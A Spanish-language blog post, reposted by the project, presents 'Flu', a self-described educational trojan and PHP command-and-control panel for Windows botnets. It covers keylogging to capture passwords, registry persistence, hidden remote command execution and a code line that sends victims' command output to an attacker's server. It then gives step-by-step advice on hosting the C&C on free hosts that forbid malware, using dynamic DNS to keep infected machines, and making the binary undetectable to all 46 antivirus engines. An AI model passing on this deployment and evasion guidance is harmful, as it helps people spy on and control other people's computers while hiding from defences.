Flu: un troyano educativo, por ifsecurity

Hace algunos días desde el blog de ifsecurity publicaron un artículo que nos encantó sobre nuestro troyano Flu. Han pasado muchas horas de investigación con él y pensamos que sus comentarios aportan mucho valor al proyecto, por lo que os dejamos a continuación su artículo que podéis ver desde su fuente original aquí. ¡Gracias!

Flu: un troyano educativo

Que tal, pues ya tenia demasiado que no publicaba nada, pero pues cuestiones de la escuela de estar arreglando unos asuntos pues no tuve tiempo. pero he regresado y les traigo un proyecto de un troyano educativo. Bueno para empezar veremos que es el projecto Flu.

¿Que es Flu Project?

Flu project es un proyecto que nace de la inquietud de dos mentes por iniciar un proyecto en comunidad sobre la temática de la seguridad de la información y el malware, en el que todos los usuarios puedan participar para compartir sus conocimientos y aprender de otros usuarios.

El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS.

Qué es Haas?

El término HaaS (Hacking as a Service) deriva de las siglas SaaS, Software as a Service. SaaS es un modelo de distribución de software en donde se provee el servicio de mantenimiento y soporte del software que utilizan varios clientes desde un único punto.

HaaS es una variante de SaaS orientada al Hacking. En el caso de este proyecto HaaS hace referencia a la generación de botnets a través de un troyano para entornos Windows.

¿Qué es Flu?

Flu es un troyano reverso orientado a la construcción de botnets, también conocidas como redes de máquinas zombies. Se encuentra diseñado con una arquitectura cliente-servidor.

El servidor consiste en un pequeño ejecutable programado en C# que permitirá infectar cualquier sistema operativo Windows, incluyendo Windows 7, para conseguir el control de la máquina en la que se hospeda.

El cliente se encuentra desarrollado en PHP y corre sobre un servidor web Apache. Su objetivo es proporcionar los comandos a todos los servidores Flu que haya repartidos por Internet para obtener información de las máquinas en las que se encuentran instalados, y almacenarla en el servidor web.

La información de los usuarios podrá ser consultada desde el servidor web en cualquier momento desde una interfaz gráfica desarrollada en HTML y PHP.

Funcionalidades

En esta sección se hablarán de las distintas funcionalidades que componen a Flu. Se dispone de unas aplicaciones básicas, es decir, vienen desde la primera versión. Cuanto mas avance el proyecto, más funcionalidades se irán añadiendo, ya sea por gente que se una al proyecto o por parte nuestra. Somos todo oídos para las nuevas ideas, y nuevas funcionalidades implementadas.

- XML Reader

Objetivo: poder ejecutar instrucciones como si estuviéramos físicamente en la márquina remota. Además de este modo se puede saltar por defecto los Firewalls, ya que es tráfico saliente el que se genera y se realiza una petición a un servidor web por puerto 80.Descripción: XML Reader es un módulo el cual permite a Flu, o al ejecutable de infección, cargar un fichero XML que se pide a través de una petición HTTP. Simplemente, este módulo realizará la petición a un servidor web que el atacante tiene en Internet o una máquina privada del atacante que contiene un servidor web. En este servidor web el atacante tendrá configurado un fichero XML con las órdenes a ejecutar en la máquina infectada.La estructura del fichero XML es la siguiente:- Raíz del documento, Instructions. Este bloque da comienzo al fichero XML y cierra el contenido del fichero. Dentro de este bloque nos encontramos con la versión del fichero XML, y la instrucción/es a ejecutar.- Version. Esta etiqueta especifica el número de versión del documento. Esto es necesario porque Flu carga el fichero XML cada cierto intervalo de tiempo especificado en su código. Entonces, para que Flu no ejecute instrucciones pasadas, se da un tiempo al atacante para cambiar las órdenes ejecutadas por otras, y para que Flu detecte que el número de versión del fichero ha cambiado por lo que debe ejecutar las nuevas órdenes. Es necesario que sea el atacante el que cambie el número de versión para que Flu ejecute las nuevas órdenes.- Instruction. Esta etiqueta especifica la instrucción a ejecutar. Puede haber más (muchas más) de una etiqueta Instruction. Esta etiqueta tiene 2 atributos, type y argumento, el primero alberga el comando a ejecutar en el equipo remoto, y el segundo, contiene los distintos argumentos que puede recibir el comando.

Ejemplo de fichero XML:

<?xml version="1.0"?><instructions>  <version num="12" />  <instruction type="arp" argumento="-a" />  <instruction type="cmd" argumento="/c ver" />  <instruction type="cmd" argumento="/c dir c:\Users" /></instructions>

- Process Register

Objetivo: registrar el ejecutable de infección o Flu, para que se inserte en el registro de Windows. Con esto se busca que al iniciar sesión, el usuario infectado, Flu arranque automáticamente.

Descripción: Process Register es un módulo, el cual Flu ejecuta para registrar su ejecutable en el registro de Windows. La ruta del registro dónde Flu registrará a su ejecutable es la siguiente:

Equipo\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Por lo tanto una de las maneras de ver si estáis infectados sería comprobar esa ruta del registro y ver si hay algo raro… aunque la víctima no debe esperar un flu.exe, hay que ocultar un poco.

KeyLogger

Objetivo: capturar todas las pulsaciones de teclado que realice la víctima. Con esta funcionalidad se dota de un área de espionaje a Flu, ya que se puede observar lo que la víctima escribe. Una gran posibilidad es la de capturar login y password de formularios con este efecto.
Descripción: este módulo se encarga de captar todas las pulsaciones de teclado que la víctima realiza en su máquina. Este módulo recibe un nombre de fichero, configurable en el código fuente, que será el fichero dónde se almacenarán todas las pulsaciones de teclado de la víctima. El módulo incorpora una función que se encarga de cada ‘x’ tiempo pasar lo que se ha almacenado en un buffer declarado (todas las pulsaciones) al fichero pasado como parámetro en la construcción del objeto.
Como curiosidad se explica a continuación como es la construcción del objeto KeyLogger:
KeyLoggerLocal.KeyLogger kl = new KeyLoggerLocal.KeyLogger("c:\\Users\\" + Environment.UserName + "\\_debug_err_win_32.txt");
El fichero, al almacenarse en el equipo de la víctima, puede ser interesante ocultarlo lo máximo posible. En el ejemplo no está oculto para nada, ya que aunque el nombre del fichero no es muy llamativo al usuario medio, se encuentra en la carpeta personal del usuario infectado. Podría ser interesante ejecutar algún comando o instrucción con XML Reader, el cual ocultara el fichero o lo almacenase en un lugar más rebuscado u ofuscado. O simplemente, modificando su código fuente, para que el fichero del keylogger se cree en un lugar más “profundo”. Todas las mejoras que se os ocurran podréis proponerlas desde el subforo de propuestas, para tratarse y ser debatidas entre todos y posteriormente implementarlas.

Console

Objetivo: crear una consola, la cual permita a Flu ejecutar las instrucciones u órdenes que se reciben en el fichero XML, desde el módulo XML Reader. Este módulo es de vital importancia ya que es uno de los núcleos del proyecto. Conseguir que las instrucciones que se reciben sean ejecutadas de forma “trasparente” a la víctima, es decir, todas estas instrucciones se ejecutan en la máquina víctima sin que éste este al tanto de ello.Descripción: este módulo recibe un comando, lo que en el fichero XML se denominaba type, y un argumento, el cual se denomina igual en el fichero XML descargado. Crea una Shell o CMD, y ejecuta el comando que recibe con su argumento correspondiente. Comentar que esta ejecución se realiza en segundo plano, de forma no visible a la víctima.La salida de la ejecución de los comandos será enviado, a través del módulo Navigation, al atacante. De este modo el atacante obtendrá la información sobre las acciones que ejecute siempre y cuando los comandos que se ejecuten muestren una salida.

Navigation

Objetivo: enviar los resultados de la ejecución de las instrucciones a un servidor web manejado por el atacante mediante PHP. En este servidor la información se clasificará en función del usuario o dirección IP. Con estas acciones un atacante puede tener la información clasificada y puede estudiar vulnerabilidades y características de los equipos infectados.Descripción: este módulo presenta la forma en la que la información que devuelve la Shell tras la ejecución de las instrucciones escritas por el atacante es enviada al servidor web que manipula el atacante. El servidor web tiene detrás una aplicación PHP (la cual también es entregada con el código fuente).Esta aplicación tiene un parámetro, el cual puede ser denominado clave, que se denomina “respuesta”. Por lo que las peticiones de devolución de información al servidor web se realizarán de la siguiente manera:
wb.navigate("http://192.168.1.33/RecibirDatosVictima.php?respuesta=" + salida);
En el que wb es un objeto que representa a un web browser interno que lleva Flu. En el ejemplo el servidor web se encuentra en la IP 192.168.1.33, pero esto podría ser cualquier IP o dominio. El fichero, para que se observe claramente, se denominó RecibirDatosVictima.php, y el parámetro respuesta equivale al valor de la variable salida, que será la variable que contiene la ejecución de una instrucción.En definitiva es otro de los núcleos fundamentales del proyecto. Es imprescindible un estudio correcto sobre este módulo e intentar optimizarlo al máximo ya que tampoco se debería inyectar o inundar la red con peticiones PHP.

Ahora que ya sabemos que es Flu les enseñare las pruebas de concepto que estuve realizando.

Bueno primero que nada mostrare algunas pantallas de lo que es el troyano FLU.

carpetas

Al descargarnos Flu  y descomprimirlo tendremos las siguientes Carpetas.

BBDD:  Esta carpeta contiene el archivo .sql que importaremos a la Base de datos de nuestro servidor.

Ejecutables Compilados: Aqui tenemos los archivos ya compilados listos para usarse, contiene 2 archivos. el Flu-Nucleo que es el troyano ya compilado y el otro archivo es Generador de Bots que es el archivo donde generaremos nuestro cliente, aqui en el generador es donde especificaremos la direccion del servidor donde hemos montado nuestra C&C. Tambien el generador de bot contiene la vacuna para desinfectarte de Flu.

Flu-Nucleo:  Aqui es donde contiene el Codigo de Fuente del archivo de Flu-nucleo.exe.

Servidor Web: Son los archivos que cargaremos al servidor de FLU, ya todo esta listo para que nadamas los arrastres por FTP o como tu quieras al servidor web.

Vacuna+generador de bots: Esta carpeta contiene el codigo de fuente del archivo Generadordebot.exe

Les aconsejo que se lean todo el manual de usuario que viene, ahi vienen los pasos para la instalación, flu viene programador para correrlo de manera de Local Host.Pueden descargar WAMP  y seguir las instrucciones del Manual.

Screenshots: 

generador

Este es el generadordebot.exe donde generaremos nuestro archivo final, aqui se especifica la direccion del servidor donde hemos montado la C&C de FLU y tambien la ruta del archivo wee.xml donde leera las intrucciones.Tambien abajo tenemos la opcion de comprar si la computadora esta infectada y poder desinfectarla.

interfaz flu

Esta es la pantalla donde nos logearemos a nuestra C&C ya montada en un servidor web.

pantalla principal

Una vez que ya nos hallamos logeado, nos aparecera las computadoras infectadas con su SO, ip y direccion MAC.Tambien nos aparece el Status si estan disponibles o no (encendidas o apagadas), last Connection que es la ultima vez que el cliente se conecto.El icono que parece un ojo es para ver la ultima instrucion que recibio, puede ser alguna instruccion generada de la Consola o del XML.El iconode un cuadro es para ver los screenshots que hemos tomado de la computadora infectada.Y el ultimo icono es para ingresar a la Consola. donde podremos mandar instrucciones como si fuera una shell.

Last Comand

Esta es la pantalla de Lastcomand donde nos mostrara el ultimo comando recibido del cliente con la Fecha de envio.

Screenshot

Esta pantalla es la de los Screenshots tomados en la computadora infectada,

consola

Esta pantalla es la de la Consola donde podremos enviar cualquier comando como si fuera una shell a la computadora infectada, Vienen comandos ya configurados como el de Captura de pantalla o Descargar un archivo.

Instrucciones XML

En esta pantalla podremos enviar las intrucciones a todas las computadoras mediante el archivo XML, vienen instrucciones ya configuradas, o tambien puedes crear tu instruccion.

En esta pantalla se muestra la seccion donde podremos cambiar la clave de encriptacion del cifrado AES.

administracion de usuarios

Y esta pantalla es el panel donde podremos administrar los usuarios para que tengan acceso al servidor de Flu, por default tiene un Usuario que es admin y password:1234

Como flu project viene orientado a usarlo como localhost, si usteden quieren ingresar a la C&C desde internet, tienen que montarlo en un Hosting.

Pueden usar Hostings gratuitos, yo lo he montado en 4 pero en 2 no funciona muy bien.

Donde me ha funcionado es en el Hosting de 260MB,  pero el problema de este servidor es que no tiene activado el modulo de php_mcrypt y entonces no recibe respuesta de todos los comandos, asi que hay dos alternativas quitarle el cifrado de datos a FLU o cambiar de hosting.

El hosting donde si funciona perfectamente es en 000WebHostel problema es que se tardan en darte de alta tu hosting y te dura muy poco porque violas las politicas del uso de malware. Aqui como quiera les dejo un tutorial que publicaron en el Foro de Fluproject de como montarlo en 000webhost.  http://www.fluproject.hol.es/descargasDirectas/pdf/Configurando_el_Cliente_de_Flu_con_000webhost.pdf

Si ustedes pagan por algun hosting o consigen otro, para que todo funcione bien, tienen que modificar el archivo conexion-bbdd para que pueda conectar con nuestra base de datos.

Por default el archivo viene asi:

<?php$dbhost=”localhost”;//Aqui cambiaremos el Local host, por la direccion de nuestra base de datos Ejemplo: “1hostinggratuito.com.mx”$dbusuario=”root”;  // Aqui es el nombre de usuario que nos brinda o creamos en el hosting $dbpassword=”   “;    // Aqui la contraseña del usuario que pusimos en la parte de arriba$db=”flubbdd”;       //Aqui pondremos el nombre de la Base de datos que hemos creado en el hosting. $conexion = mysql_connect($dbhost, $dbusuario, $dbpassword);mysql_select_db($db, $conexion);?>

Si no sabes como obtener estos datos, lee el manual que publique mas arriba de como configurarlo con 000webhost.

Otro problema que puedes tener, es al importar la base de datos en phpadmin. Al importar el archivo .sql que viene en el fluproject nos dara error en nuestro hosting asi que en el manual viene como crear la base de datos o la otra es importar archivos .sql pero de cada tabla y no de la base de datos completa.Aqui les dejo un link donde he subido los archivos .sql de cada tabla para que no tengan problemas al importar a su phpadmin http://www.mediafire.com/?36w9w58cyyvx9g4

Pero bueno y si lo ustedes es tener su propio servidor web, lo que se puede hacer es crear una maquina virtual con Windows y ahi instalaremos XAMPP.Es parecido a WAMP donde nos correra servicios de apache, mysql, php, etc.Al terminar de instalar xampp en nuestra maquina virtual configuraremos nuestra maquina virtual con una ip estatica.Despues configuraremos nuestro Router para poder agregar una aplicación de HTTP Server a la ip estatica que le asignamos a la maquina virtual en nuestra red local.

Con esto haremos que cuando hagan una peticion a nuestra direccion IP de internet (por el puerto 80) nos redirecciona a nuestra maquina virtual donde estaremos corrientdo XAMPP, osea que podremos ver la pagina principal de la C&C de Flu.

maquina virtual

Aqui nuestra maquina virtual corriendo un Windows 7 con XAMPP.

Pero ahora el problema es que si configuramos el generador de bots usando nuestra ip como servidor, pues como la mayoria tenemos ips dinamicas perderemos a nuestras maquinas infectadas cuando nos cambie nuestra ip

Para esto configuraremos un No-ip   en internet hay muchos manuales de como configurarlo, una vez creado nuestro host de no-ip que nos quedara como “nombredehost.no-ip.org”   descargaremos e instalaremos la herramienta de no-ip llamada DUC  y con esto lograremos a que cuando ingreses a tu host no-ip en este caso “nombredehost.no-ip.org” nos redireccione a nuestra ip osea al servidor XAMPP que tenemos.   DUC es un programa que se encarga de estar actualizando nuestro host verificando la ip que tengamos, asi que cuando se reinicie nuestro modem y se nos asigne otra ip, DUC actualizara nuestro host no-ip y asi no perderemos las conexiones con los clientes.

Asi que en el generadordebots.exe   al generar el cliente en el area de servidor pondremos “nombredehost.no-ip.org”  y en el ubicacion del Archivo XML nos quedara asi “nombredehost.no-ip.org/wee.xml”.

Bueno aqui les mostre varias formas de como montar nuestro FLU, la que les recomiendo es la ultima montar nuestro xampp y usar no-ip asi nadamas cuando encendamos nuestra maquina virtual estara encendido el servidor de FLU.

Ahora tambien otra cosa que estuve haciendo con FLU era que como es un troyano pues tenemos a los enemigos los antivirus.

Al escanear el Flu-nucleo podemos ver que ya es casi detectado por todos los antivirus.

Flu Nucleo Original Virustotal

36 de 46 Antivirus detectan a FLU como un archivo Malicioso.

Entonces pues tenia que encontrar algun metodo de como indetectar FLU a esos antivirus, podemos hacerlo desde lo mas sencillo usando crypters pero el problema esque  el stub dura muy poco indetectable ya que como son publicos pues todos lo usan y suben a virus total y bla bla bla.

Tambien existen metodos mas manuales como el RIT, en internet encontraran muchos manuales sobre este metodo.

Pero como FLU es de opensource pues tenia el codigo de fuente y lo unico que hice fue modificar el nombre a las variables y compilar un archivo nuevo y con esto bajamos el nivel de indetectabilidad mucho.

Flu Nucleo modificacion de variables

Y aqui tenemos solo 5 Antivirus de 45 que lo detectan.

Pero la idea era dejalo FUD, 100& indetectable, entonces al navegar en internet encontre una herramienta hecha por und3ath-Injector que permitia inyectar payloads en el main de un archivo. En este caso usamos la calculadora que el uso en sus PoCs, la verdad si batalle mucho para que funcionara, porque habia que hacerle modificaciones.

Y bueno al final nos quedo esto.

Flu Nucleo FUD

0 de 46 Antivirus.

Ninguna deteccion de ningun antivirus, ahora si nos quedo un Archivo Completamente Indetectable.

Luego investigo mucho mas en como trabaja este ultimo metodo y publico algo y tambien publicar a sobre vectores de infeccion de FLU, nose como usar embed en paginas web, o otro tipo de tecnicas.

Hasta aqui dejo este post que ya lo se hizo bastante grande jajaja

Saludos a todo y no olviden visitar la pagina del Flu-Project   donde encontraran un buen contenido sobre seguridad informatica.

Y tambien dentro de poco prometo postear tambien otra herramienta desarrollada por los de Fluproject que es Anubis una excelente herramienta de Footprinting

ah y me faltaba poner lo de que todo esto es para uso educativo, esto es para todos los malignos que andan por ahi.

Twitter: IvanFlores